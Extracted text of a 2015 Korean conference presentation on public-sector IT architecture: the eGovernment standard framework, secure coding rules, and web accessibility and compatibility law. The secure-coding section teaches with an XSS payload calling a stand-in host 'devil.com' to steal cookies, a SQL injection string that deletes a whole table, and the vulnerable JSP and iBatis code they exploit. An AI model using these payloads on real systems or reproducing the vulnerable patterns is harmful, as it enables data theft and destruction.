공공정보화 시스템의 표준화 측면 아키텍처 고려사항 · 발주자/사업자를 위한 “전자정부 표준프레임워크 적용 지침” 개발자를 위한

제8회 2015 한국 소프트웨어 아키텍트 대회

2015(제8회) 한국 소프트웨어 아키텍트 대회

공공정보화 시스템의 표준화 측면 아키텍처 고려사항

2015. 07. 16

데이터코어시스템즈 / 고려사이버대학교 외래교수

임철홍 상무

제8회 2015 한국 소프트웨어 아키텍트 대회 2

1.전자정부 표준프레임워크

2.개발보안 (시큐어코딩)

3.웹 표준 및 접근성

4.맺음말


공공사업에 적용되는 개발프레임워크 표준으로 필요한 기능과 아키텍처를 미리 만들어 제공하여 응용 SW 표준화, 품질 및 재사용성 향상을 목표

V1.0 : 실행환경, 개발환경, 운영환경 | spring 2.5.6

V2.0 : 모바일 실행환경 | spring 3.0.5 V2.5 : 배치, Device API V3.5 : 오픈소스 업그레이드, 버그패치 spring 4.0.9, jQueryMobile 1.4.5 PhoneGap 4.3

1. 전자정부 표준프레임워크

구분 기능 및 역할

실행환경 업무 프로그램의 실행에 필요한 공통모듈 등 업무 프로그램 개발 시 화면,서버 프로그램 ,데이터 개발 ,배치처리기능 개발을 표준화가 용이하도록 지원하는 응용프로그램환경

개발환경 개발에 필요한 구현, 테스트, 형상관리, 빌드/배포 등 도구

운영환경 실행환경에서 운영되는 서비스를 운영하기 위한 환경제공(모니터링, 배포, 관리시스템 등) 배치환경을 운영하기 위한 환경제공(배치실행, 스케줄링, 결과모니터링 등)

관리환경 개발프레임워크 및 공통서비스를 각 개발 프로젝트에 배포 및 관리하기 위한 모듈 (내부 활용)


전자정부 표준프레임워크 실행환경은 Spring을 기반으로 구성되어 있고, iBatis와 Hibernate기반으로 ORM을 지원하며 Spring MVC를 통해 화면과 로직이 분리되도록 표준 패턴을 정의 (3.5 버전부터 Spring 4.x 지원)


Spring MVC – 4.0.9

Spring– 4.0.9 Apache CXF

iBatis – 2.3.4 MyBatis - 3.2.7 Hibernate – 4.3.5 Spring Data JPA – 1.6


N0. 기능명 기능 설명 비고

웹

오픈소스

업그레이드

- Spring 3.2.9 spring 4.0.9

- Log4j 2.0 log4j 2.1

Spring 신규기능

- 웹에서 Socket 통신을 지원하는 WebSocket

- WebSocket을 제어하는 자바스크립트 환경 SockJS

- 대량의 실시간 메시징 환경을 지원하는 STOMP

모바일 웹

오픈소스

업그레이드

- jQuery 1.9 jQuery 1.11.2

- jQueryMobile 1.3.2 jQueryMobile 1.4.5

개선점 - html 렌더링 방식을 간단한 구조로 개선하여 성능 및 호환성 증가

- UX호환 단말 증가 (최신 단말기 및 브라우저 지원)

Device API

오픈소스

업그레이드 - PhoneGap(Cordova) 2.9 PhoneGap(Cordova) 4.3

개선점

- 최신 OS 지원 (Android 4.3, 4.4 / iOS 7, 8 지원)

- 구형폰 부분 스크롤 기능 개선

- Plugin 모듈 소스 형태로 제공 (기존 API형태로 제공)


표준프레임워크 최신 버전 3.5 출시를 통해 기반 오픈소스 업그레이드를 수행하였고 웹, 모바일 웹, Device API (하이브리드 앱) 실행환경의 신규기능을 제공하고 기존 구조 및 기능 개선


N0. 기능명 기능 설명 적용 오픈소스SW

1 실시간

메모리DB 대용량의 이벤트 데이터 처리를 위한 실시간 메모리 DB H2

2 문서형데이터

처리지원 문서형 데이터(비관계형) 처리 지원

Spring Data MongoDB

3 자바스크립트

프레임워크 UI/UX 및 ajax를 지원하기 위한 기반 javascript 프레임워크 기능 jQuery


표준프레임워크 실행환경에 실시간 메모리 DB, Mongo DB, jQuery 지원 등 신규 기능이 포함되었으며, 개발환경과 공통컴포넌트 개선

서버 개발 환경 오픈 소스 업그레이드

HUDSON 3.1.0 3.2.2 NEXUS 2.5.1 3.11.3 Visual SVN 2.7.3 3.3.1

공통컴포넌트 버그 수정 및 개선

이미지, CSS, 자바스크립트 등 정적 리소스에 대한 상대경로로 수정 (이전 절대 경로로 지정되어 루트 디렉토리가 아닌 경로로 배포시에 정적 리소스 적용 안됨)

일부 공통컴포넌트에 index가 빠지거나 경로가 잘못 지정되어 404 에러 발생 수정 리소스가 깨져 보이는 부분 수정하고, 웹 표준 및 주석 정리


전자정부 표준프레임워크의 도입을 통해 전자정부 사업의 상호운용성 확보와 특정 업체 기술 종속성을 탈피할 수 있는 장점이 있으나 아키텍트는 표준프레임워크 올바르게 이해하고 도입과 최적화를 수행해야 함

전자정부지원사업 관리지침 (안전행정부 예규 27호)

제34조(정보기술 아키텍처 등의 활용) 전문기관은 제10조와 제11조에 따른 지원사업의 발굴·검토·심사·확정 및 제29조부터 제33조까지의 규정에 따른 성과점검 및 운영평가 시 정보기술 아키텍처 등을 활용할 수 있다. 제35조(전자정부 표준 개발프레임워크의 활용) 주관기관의 장 및 사업자는 새로운 정보시스템을 개발할 경우, 전자정부 표준 개발프레임워크의 활용을 우선적으로 고려하여야 한다.

긍정적 측면

아키텍처 및 디자인 패턴 적용을 통해 표준 준수

전자정부 사업에서의 상호운용성 확보 (도입 예외사업은 공금융에서 금융 프레임워크 도입 등)

특정 업체 기술 종속성 탈피 (대기업 중심 프레임워크 탈피)

오픈소스 기반 프레임워크 도입으로 보급확산이 쉽고 개방형 표준 활용

부정적 측면 .NET, PHP 등 JAVA이외의 언어에 대한 진입장벽

규모와 특성에 상관없이 프레임워크가 일괄적용됨 (소규모 일반 홈페이지의 경우에도 도입 의무화)

발주자의 맹목적인 프레임워크 적용의지, 사업자의 프레임워크 이해 부족 (베이스 프레임워크임)

세부지침 (가이드) 발주자/사업자를 위한 “전자정부 표준프레임워크 적용 지침”

개발자를 위한 교육자료, 위키가이드 www.egovframe.go.kr

표준프레임워크 오픈커뮤니티 open.egovframe.go.kr

아키텍트 역할 표준프레임워크 도입의 타당성 검토와 프레임워크 최적화 필요

공통모듈 (공통패턴 및 컴포넌트)의 적극적 재사용 검토


http://www.egovframe.go.kr/


2. SW 개발보안

SW 개발보안 (시큐어코딩)은 안전한 SW 개발을 위해 소스코드 등에 존재할 수 있는 잠재적인 보안취약점을 제거하고, 정보보호를 고려하여 SW를 설계·구현하는 SW 개발 전체 과정에 이르는 보안활동

요구사항 설계 및 디자인 구현 테스트

보안 요구사항 식별 위협원 도출 외부 인터페이스 식별 보안통제수립

보안통제 구현 시큐어코딩 점검 및 적용

실행코드 취약성 분석 (취약점 스캐닝, 모의해킹 등)

소스코드 취약성 분석 (보안약점 진단)

보안 취약점이 내포된 SW는 해커의 공격목표가 되어 심각한 보안위협 초래 사이버 침해사고의 약 75%가 응용 프로그램(SW)의 취약점을 악용 (가트너 ’05)

정보시스템 운영 이전 개발단계부터 보안성 고려 및 잔존 취약점 제거 필요

운영단계에서의 취약점 제거 비용은 개발단계 보다 60~100배의 비용 소요 (IBM 보고서)

사전 예방체계 강화를 위한 SW 개발보안(시큐어코딩) 강화체계 도입 추진 시큐어코딩은 SW 구현시 취약점을 배제하기 위한 안전한 코딩 기법


소스 파일 (Java, JSP, C/C++, C#, XML,

.NET PLSQL)

Source Code Analysis (Data Flow, Control Flow,

Semantic, Configuration, X-Tier Tracking)

취약점 이슈

개발자

보안관리자

관리자

Security manager (애플리케이션 보안관리)

Audit Workbench (취약점 감사)

Format String Issues

Privacy Violations

Native Callout

Unsafe Memory

Operation

Unchecked Return

Value

Always Unsafe

Functions

Race Conditions

Uninitialized Variable

Buffer Overflows

SQL Injection

Cross-Site Scripting

Access Control

Process Control

No Null Termination

Setting Manipulation

Resource Injection

Passwords in Config

Files

Unreleased Resource

Core Language

Vulnerabilities

3rd Party Library /

Framework Specific

Application Specific

Secure Coding Rules

Session-ID Length

Entity Bean Configuration

Information Leakage

Log Forging

Integer Overflow

EJB Resource Permission

Struts Form Field Validation

Double Memory Free

Null Pointer Dereference

Directory Restriction

Rules Builder

Corporate Coding Standards

Coding Libraries

Custom interfaces

Custom Rules

2. SW 개발보안

취약점 점검은 시큐어코딩 전문 솔루션을 활용하여 수행되며, 소스파일의 내용과 패턴을 분석하여 취약점을 탐지하고 리포팅


2. SW 개발보안

유형 주요내용 개수(43)

입력 데이터 검증 및 표현

프로그램 입력 값에 대한 부적절한 검증 등으로 인해 발생할 수 있는 보안 약점 (예) SQL삽입, 자원삽입, 크로스사이트스크립트 등

14

보안기능 인증, 접근제어, 권한관리 등을 적절하지 않게 구현 시 발생할 수 있는 보안약점 (예) 부적절한 인가 허용, 중요정보 평문저장, 하드코드된 패스워드 등

16

시간 및 상태 멀티프로세스 동작환경에서 부적절한 시간 및 상태관리로 발생할 수 있는 보안약점 (예) 경쟁조건, 제어문을 사용하지 않는 재귀함수 등

2

에러처리 불충분한 에러 처리로 중요정보가 에러정보 포함되어 발생할 수 있는 보안약점 (예) 오류상황 대응 부재, 오류메시지를 통한 정보노출 등

3

코드오류 개발자가 범할 수 있는 코딩오류로 인해 유발되는 보안약점 (예) 널 포인터 역참조, 부적절한 자원 해제 등

2

캡슐화 불충분한 캡슐화로 인가되지 않은 사용자에게 데이터가 노출될 수 있는 보안약점 (예) 제거되지 않고 남은 디버그 코드, 시스템 데이터 정보노출 등

5

API오용 부적절하거나, 보안에 취약한 API 사용으로 발생할 수 있는 보안약점 (예) DNS lookup에 의존한 보안결정 등

1

어플리케이션 개발 시에 발생하기 쉬운 보안 취약점을 분류하여 43개를 정의함, OWASP 10대 취약점 등 내용 포함


오류 사항

다음 프로그램은 외부의 입력을 받아 결과 페이지의 생성에 사용하는 서블릿 프로그램이다. 외부 입력을 name 값으로 param변수에 이를 특별한 처리 없이 결과 페이지 생성에 사용하고 있다. 만약 name의 값으로 악의적인 공격자가 "<script>url = "http://devil.com/attack.asp;</script>"와 같은 스트링을 인자 값으로 하여,"http://host.com/Test_79_1?name=<script>url = "http://devil.com/attack.asp;</script>"와 같은 링크를 생성하고,이를 제3의 희생자가 수행하도록 한다면, 희생자는 자신의 브라우저에서 자신의 권한으로 다음과 같은 웹 페이지를 수행하게 된다. 이 웹페이지는 희생자의 권한으로 attack.asp 코드를 수행하게 되어 희생자의 쿠키 정부 유출 등의 피해를 주게 된다. <html><head><title> Hello World </title>");</head><body bgcolor=white><h1> Hello World </h1>");Hello <script>url = "http://devil.com/attack.asp;</script> !</body><html>

<body> <h1>XSS Sample</h1> <% // 외부로 부터 이름을 받음 String name = request.getParameter("name"); %>  <p>NAME:<%=name%></p> </body> </html>

조치 방안

===== 조치방법 ===== 입력 문자열에서 name = name.replaceAll("<","<"); name = name.replaceAll(">",">");

등과 같이 replaceAll을 사용하여 <와 같이 스크립트 생성에 필요한 모든 문자열을 제거함으로써악의

적인 스크립트 수행의 위험성을 줄일 수 있다.

그러나, 이러한 방법이 위험성의 완전한 제거를 의미하지는 않는다.

입력 데이터 검증 및 표현 > 서버전송 사이트 교차접속 스크립트 공격 취약성

2. SW 개발보안


오류 사항

다음 XML 파일은 iBatis Data Map에서 사용하는 질의문 설정파일이다. 정의된 질의문 중 delStudent 명령어 선언에서 질의문에 삽입되는 인자들 중 $name$으로 전달되는 문자열 값은 그대로 연결되어 질의문이 만들어진다. 따라서 만약 name의 값으로 "' OR 'x'='x'"을 전달하면 다음과 같은 질의문이수행되어 테이블의 모든 원소를 삭제하게 된다. DELETE STUDENTS WHERE NUM = #num# and Name = '' OR 'x'='x'

<select id="nameStudent" parameterClass="Integer" resultClass="Student"> SELECT NUM, NAME FROM STUDENTS WHERE NUM = #num# </select>  <delete id="delStudent" parameterClass="Student"> DELETE STUDENTS WHERE NUM = #num# AND Name = '$name$' </delete> </sqlMap>

조치 방안

Name 인자를 #name# 형태로 받도록 수정

===== 조치방법 =====

1. like 검색..

(oracle, altibase, tibero) LIKE '%$searchKeyword$%' => LIKE '%' || #searchKeyword# || '%'

(mysql) LIKE CONCAT ('%', #searchKeyword#,'%')

2. column명 또는 테이블명을 $..$로 받아 처리하는 경우..

<isEqual ../> 처리 (입력 가능한 값을 jsp 등으로부터 확인하여 조치)

입력 데이터 검증 및 표현 > SQL 삽입 공격:iBatis Data Map

2. SW 개발보안


어플리케이션 개발 시에 보안 점검을 통해서 취약점을 제거하도록 하여 보안성을 높일 수 있는 효과가 있으나, 가이드 만으로 진단을 하기에는 한계가 있고 점검툴의 경우 고가

행정기관 및 공공기관 정보시스템 구축ㆍ운영 지침 (안전행정부고시 제2013-36호)

제50조(소프트웨어 개발보안 원칙) ① 행정기관등이 영 제71조제1항에 해당하는 정보화사업을 추진할 때에는 별표 3의 소프트웨어 보안약점이 없도록 소프트웨어를 개발 또는 변경(이하 ‘소프트웨어 개발보안’이라 한다)하여야 한다. 다만, 영 제71조제1항에 해당하지 않는 정보화사업도 소프트웨어 개발보안을 적용할 수 있다. ② 제1항에 따라 행정기관등의 장이 정보화사업 추진시 적용해야 할 소프트웨어 개발보안의 범위는 다음 각 호와 같다. 1. 신규개발의 경우 : 소스코드 전체 2. 유지보수의 경우 : 유지보수로 인해 변경된 소스코드 전체 ③ 제2항에 따라 소프트웨어 개발보안 적용시 상용 소프트웨어는 제외한다.

긍정적 측면 어플리케이션 보안 중요성 이해 제고 및 주요 취약점 지식 확산 (XSS, SQL Injection)

ISMS (정보보호관리체계) 인증 확산과 더불어 중요성 커짐

부정적 측면

보안 취약점과 보안 하자의 차이 인식이 어려움

툴에서 진단하는 모든 문제를 해결할 수 없음

많게는 수천에서 수만의 에러 및 워닝 메시지가 있고 실제로 취약한 경우는 소수임

고가의 보안 솔루션 활용 필요 (보안 전문가를 통한 모의해킹 등이 유용함)

세부지침 (가이드)

안전행정부, 한국인터넷진흥원

www.mospa.go.kr

C, 안드로이드, JAVA, 웹 개발 보안 가이드 (자바)

개발툴의 경우 상용제품 도입 필요 (스패로우, Fortify) -> KISA에서 PMD기반 룰셋 제공 예정

아키텍트 역할 소프트웨어 개발표준에 보안코딩표준 필요

보안 취약점 사전 파악 (오픈소스 솔루션의 알려진 보안 취약점 파악 등)

2. SW 개발보안


긍정적 측면 장애인, 노약자 등에 대한 정보화 차별을 없앨 수 있음

부정적 측면

무분별한 적용 (홈페이지 모니터링 솔루션 등에 적용)

웹 접근성 판단 기준이 모호함 (툴 적용의 한계가 있고 전문가에 따라 견해 차이가 있을 수 있음)

(대체텍스트제공의 경우 의미 있는 텍스트 제공이 필요하나 이미지1, 이미지2의 식으로 표현해도 툴로

는 검증 불가능)

인증마크획득을 위해서는 전문기관의 인증을 통과하여야 함

세부지침 (가이드)

한국정보화진흥원 웹 접근성 연구소 (http://www.wah.or.kr)

K-WAH 4.0 (웹 접근성 진단 툴)

한국형 웹 콘텐츠 접근성 지침 2.0 (한국정보통신표준)

아키텍트 역할 웹 접근성 확보를 위한 목표 수준과 표준 수립 참여 (고객, 디자이너, 퍼블리셔, 개발자)

3. 웹 표준 및 접근성

국가정보화 기본법 장애인·고령자 등의 정보 접근 및 이용 편의 증진을 위한 지침 (행안부 고시 제2009-63호)

인터넷을 통하여 정보나 서비스를 제공할 때 장애인ㆍ고령자 등이 쉽게 웹사이트를 이용할 수 있도록 접근성 보장 인식의 용이성 제공 이미지의 의미나 목적을 이해할 수 있도록 적절한 대체 텍스트를 제공 운용의 용이성 제공 키보드 만으로 제어가 가능, 팝업 등 미리 공지, 깜빡임은 미리 공지하고 회피 수단 제공 이해의 용이성 제공 데이터 테이블의 경우 제목과 요약정보 제공 기술적 진보성 제공 마크업 언어로 제공가능한 컨텐츠를 스크립트 언어로 제공하지 말아야 함

웹 접근성의 경우 장애인 노약자 등 사회 약자에게 동등한 정보화기회를 부여하는 장점이 있으나 개발사 입장에서 추가적인 개발 공수가 필요하고, 접근성 인증 방법이 모호하여 사업 초기 표준수립 단계에서 아키텍트 역할이 중요


제32조(장애인ㆍ고령자 등의 정보 접근 및 이용 보장) ① 국가기관등은 인터넷을 통하여 정보나 서비스를 제공할 때 장 애인ㆍ고령자 등이 쉽게 웹사이트를 이용할 수 있도록 접근성을 보장하여야 한다. ② 정보통신서비스 제공자는 그 서비스를 제공할 때 장애인ㆍ고령자 등의 접근과 이용의 편익을 증진하기 위하여 노력하여야 한다.<개정 2013.5.22> ③ 정보통신 관련 제조업자는 정보통신기기 및 소프트웨어(이하 "정보통신제품"이라 한다)를 설계, 제작, 가공할 때 장애인ㆍ고령자 등이 쉽게 접근하고 이용할 수 있도록 노력하여야 한다. ④ 국가기관등은 정보통신제품을 구매할 때 장애인ㆍ고령자 등의 정보 접근과 이용 편의를 보장한 정보통신제품을 우선하여 구매하도록 노력하여야 한다. ⑤ 미래창조과학부장관은 장애인ㆍ고령자 등의 정보 접근 및 이용 편의 증진을 위한 정보통신서비스 및 정보통신제 품 등의 종류ㆍ지침 등을 정하여 고시하여야 한다.<개정 2013.3.23> 제32조의2(웹접근성 품질인증 등) ① 미래창조과학부장관은 장애인ㆍ고령자 등의 정보 접근 및 이용 편의를 증진하기 위하여 인증기관을 지정하여 웹사이트를 통하여 제공되는 정보통신서비스에 대한 접근성 품질인증(이하 "웹접근성 품질인증"이라 한다)을 하게 할 수 있다. ② 제1항에 따라 인증기관의 지정을 받으려는 자는 미래창조과학부장관에게 인증기관 지정을 신청하여야 한다. ③ 웹접근성 품질인증을 받으려는 자는 제1항 및 제2항에 따라 지정된 인증기관에 인증을 신청하여야 한다. ④ 제1항부터 제3항까지의 규정에 따른 인증기관 지정의 기준, 인증의 기준ㆍ절차ㆍ방법ㆍ유효기간, 수수료 부과 및 그 밖에 웹접근성 품질인증 제도 운영에 필요한 사항은 대통령령으로 정한다. [본조신설 2013.5.22]

국가정보화 기본법



제3장 웹사이트의 접근성 준수에 관한 설계 지침 제16조(인식의 용이성) ① 이미지의 의미나 목적을 이해할 수 있도록 적절한 대체 텍스트를 제공해야 한다. ② 배경 이미지가 의미를 갖을 경우에는 배경 이미지의 의미를 이해할 수 있도록 대체 콘텐츠를 제공해야 한다. ③ 동영상, 음성 등 멀티미디어 콘텐츠를 이해할 수 있도록 대체 수단(자막, 원고 또는 수화)을 제공해야 한다. ④ 색상을 배제하여도 원하는 내용을 인식할 수 있도록, 색상 이외 에도 명암이나 패턴 등으로 콘텐츠 구분이 가능해야 한다. 제17조(운용의 용이성) ① 서버측 이미지 맵을 제공할 경우, 해당 내용 및 기능을 사용할 수 있는 콘텐츠를 제공해야 한다. ② 프레임을 제공할 경우, 해당 내용을 인식할 수 있도록 적절한 제목(title 속성)을 제공해야 한다. ③ 깜빡이는 콘텐츠를 제공할 경우, 사전에 경고하고 깜빡임을 회피할 수 있는 수단을 제공해야 한다. ④ 모든 기능을 키보드로 이용할 수 있어야 한다. ⑤ 반복되는 링크를 건너뛸 수 있도록 건너뛰기 링크(skip navigation)을 제공해야 한다. ⑥ 시간 제한이 있는 콘텐츠를 제공할 경우, 시간 제어 기능을 제공해야 한다. ⑦ 새 창(팝업 창)을 제공할 경우, 사용자에게 사전에 알려야 한다. 제18조(이해의 용이성) ① 데이터 테이블을 제공할 경우, 테이블의 내용을 이해할 수 있는 정보(제목, 요약정보 등)를 제공해야 한다. ② 데이터 테이블을 제공할 경우, 제목 셀과 내용 셀을 구분할 수 있어야 한다. ③ 해당 페이지를 잘 이해할 수 있도록 페이지 제목(title)을 제공해야 한다. ④ 콘텐츠는 논리적인 순서로 구성되어야 한다. ⑤ 온라인 서식을 제공할 경우, 레이블(<label>)을 제공해야 한다. 제19조(기술적 진보성) ① 애플릿, 플러그인(ActiveX, 플래시 등) 등 부가 애플리케이션을 제공하는 경우, 해당 애플리케이션이 자체적인 접근성을 준수하거나 사용자가 대체 콘텐츠를 선택하여 이용할 수 있어야 한다. ② 마크업 언어로 구현할 수 있는 기능(링크, 서식, 버튼, 페이지 제목)을 자바 스크립트만으로 구현하지 말아야 한다.

장애인·고령자 등의 정보 접근 및 이용 편의 증진을 위한 지침 (행안부 고시 제2009-63호)




X (잘못된 사례) O (우수 사례)

캡션이나 원고가 전혀 제공되지 않음 동영상의 캡션 제공 및 업로드 지원

이미지

출처 KTV

(http://www.ktv.go.kr)

YouTube

(http://kr.youtube.com/t/captions_about)

설명 소리가 들리지 않는 환경에서 영상만으로 내용을

파악할 수 없음.

동영상 우측 하단에 캡션이 있는 동영상은

아이콘으로 표시하여 주고 동영상 등록 시 자막 및

캡션을 업로드 할 수 있도록 지원 함.

http://www.president.go.kr/

http://kr.youtube.com/t/captions_about




긍정적 측면 IE의 종속성에서 벗어나 다양한 브라우저를 활용 가능하게 되어, 모바일 웹 활성화에 보급

Active-X 종속성 탈피 되고, 다양한 기기에서 활용 가능 (테블릿, 핸드폰 등)

부정적 측면

무분별한 적용 (W3C Validator로 확인된 에러 및 워닝을 모두 없애 달라는 요청 등)

적절한 개발 대가를 받지 못하는 상황에서 개발비용만 추가되는 문제점

현재 가장 큰 문제는 IE브라우저 버전간의 호환성 문제임

호환성 확보를 위한 크로스브라우징은 많은 테스트를 필요로 함 (스크립트 문제가 가장 큼)

화면 사이즈에 대한 문제 고려 필요

세부지침 (가이드) 한국정보화진흥원 (http://www.nia.or.kr/nia_popup/KW3C/kw3c.html)

kw3c2.0.2 (웹 호환성 진단 툴), HTML, CSS 표준 진단

아키텍트 역할

웹 호환성 확보를 위한 목표 수준과 표준 수립 참여 (고객, 디자이너, 퍼블리셔, 개발자)

크로스브라우징을 위한 스크립트 기술 도입 검토 (jQuery 등)

디자이너 또는 퍼블리셔의 업무로만 생각하면 큰 위험요소가 될 수 있음

전자정부 웹 호환성 준수지침 (행안부 고시 제2009-185호, 제2012-44호)

최소 3종 이상의 브라우저에서 동등하게 서비스를 제공 문자 인코딩 방식은 EUC-KR 또는 UTF-8 중 하나를 지정하여 선언. W3C HTML 4.01 또는 W3C XHTML 1.0, 1.1에서 정한 표준 문법으로 구현, W3C CSS 2.1 표준 문법을 준수 W3C DOM Level 2, Level 3 및 ECMA-International ECMA-262 3rd의 표준 문법을 준수. 액티브 엑스(Active-X) 등 특정 브라우저용 내장프로그램을 사용하는 경우 타 브라우저를 지원 방안 함께 마련 HTML5 사용 가능

기존 IE종속성을 탈피하고 크롬, 사파리 등의 브라우저를 통해 전자정부 서비스를 동일하게 제공 받을 수 있는 환경이 되어, 특히 모바일 웹 도입을 촉진하였으나 개발사 입장에서는 크로스브라우징이 쉽지 않은 작업임



전자정부 웹 호환성 준수지침 (행안부 고시 제2009-185호, 제2012-44호)

제4조(기본 원칙) 행정기관의 장은 대민 웹사이트를 신규 구축하고자 하는 경우, 기술적 제약이 없는 한 최소 3종 이상의 브라우저에서 동등하게 서비스를 제공하여야 한다. 행정기관의 장은 기존 대민 웹사이트를 개선, 유지보수 및 운영하는 경우, 기술적 제약이 없는 한 최소 3종 이상의 브라우저에서 동등하게 서비스를 제공하도록 노력하여야 한다. 제1항 및 제2항에 의한 준수대상 브라우저의 선정은 해당 대민 웹사이트를 구축, 개선, 유지보수 및 운영하는 행정기관의 장이 정한다. 제5조(웹호환성의 확보) 제4조에 따라 행정기관의 장이 준수해야하는 사항은 다음 각호와 같다. 1. 웹페이지는 다음 각 목에 따라 표준 문법으로 구현하여야 한다. 가. 웹페이지는 문서타입을 반드시 선언하고, 선언한 문서타입에 해당하는 문법으로 구현하여야 한다. 이 경우 문서타입의 선언방법은 붙임1을 따른다. 나. 문자 인코딩 방식은 EUC-KR 또는 UTF-8 중 하나를 지정하여 선언하여야 한다. 다. 기타 W3C HTML 4.01 또는 W3C XHTML 1.0, 1.1에서 정한 표준 문법으로 구현하여야 한다. 2. 웹페이지 화면의 디자인 요소는 W3C CSS 2.1 표준 문법을 준수하여야 한다. 3. 웹페이지의 동적 기능을 제어하기 위하여 W3C DOM Level 2, Level 3 및 ECMA-International ECMA-262 3rd의 표준 문법을 준수하여야 한다. 4. 액티브 엑스(Active-X) 등 특정 브라우저용 내장프로그램을 사용하는 경우 타 브라우저를 지원하기 위한 방안을 함께 마련하여야 한다. 다만 기술적 제약이 있을 경우에는 예외로 한다. 5. 웹사이트 호환성 확보가 가능한 수준에서 HTML5 등의 신기술을 사용할 수 있다. 제6조(모바일 서비스 호환성 확보) ① 행정기관등의 장은 모바일 전자정부서비스를 제공하는 경우, 보편적 접근성 제고 등을 위하여 모바일 웹 방식으로 제공하여야 한다. 다만 모바일 웹 방식으로 제공시 기술적 제약이 있거나 현저하게 비용이 증가할 우려가 있는 경우에는 다른 방식으로 제공할 수 있다. ② 제1항에 의한 모바일 웹사이트를 구축하는 경우 다양한 모바일 기기에서 화면크기 및 운영체제와 무관하게 동등한 서비스를 제공하도록 노력하여야 한다.




1. BrowserShots (http://browsershots.org/)

http://browsershots.org/




2. IE Tester (http://www.my-debugbar.com/wiki/IETester/HomePage/)

http://www.my-debugbar.com/wiki/IETester/HomePage





공공정보화 시스템 구축 시 주요 아키텍처 고려사항은 법제화 되어 있어 준수 필요 소프트웨어 아키텍트는 표준 (법령정보 포함)과 가이드를 이해하고, 개발자 (디자이너, 퍼블리셔 포함)를 리딩할 수 있어야 함

소프트웨어 아키텍트의 수행 분야는 계속 확장이 되고 있고, 개발에 관련하여 전반적으로 총괄하고 있어 아무도 관심이 없는 분야를 홀로 확인해야 할 경우도 있음 표준화에 필요한 솔루션과 가이드는 미리 확인하여 준비하고, 준수에 대해서는 발주자와 미리 합의가 필요

기술지원이 가능한 Contact-Point(표준프레임워크센터, KISA, 한국정보화진흥원 등)를 미리 확인하고, 지원의 수준도 확인해야 함

표준화에 대해서 준수라는 수동적인 측면보다는 표준화에 능동적으로 참여할 수 있어야 함

4. 맺음말

Documents

공공정보화 시스템의 표준화 측면 아키텍처 고려사항 · 발주자/사업자를 위한 “전자정부 표준프레임워크 적용 지침” 개발자를 위한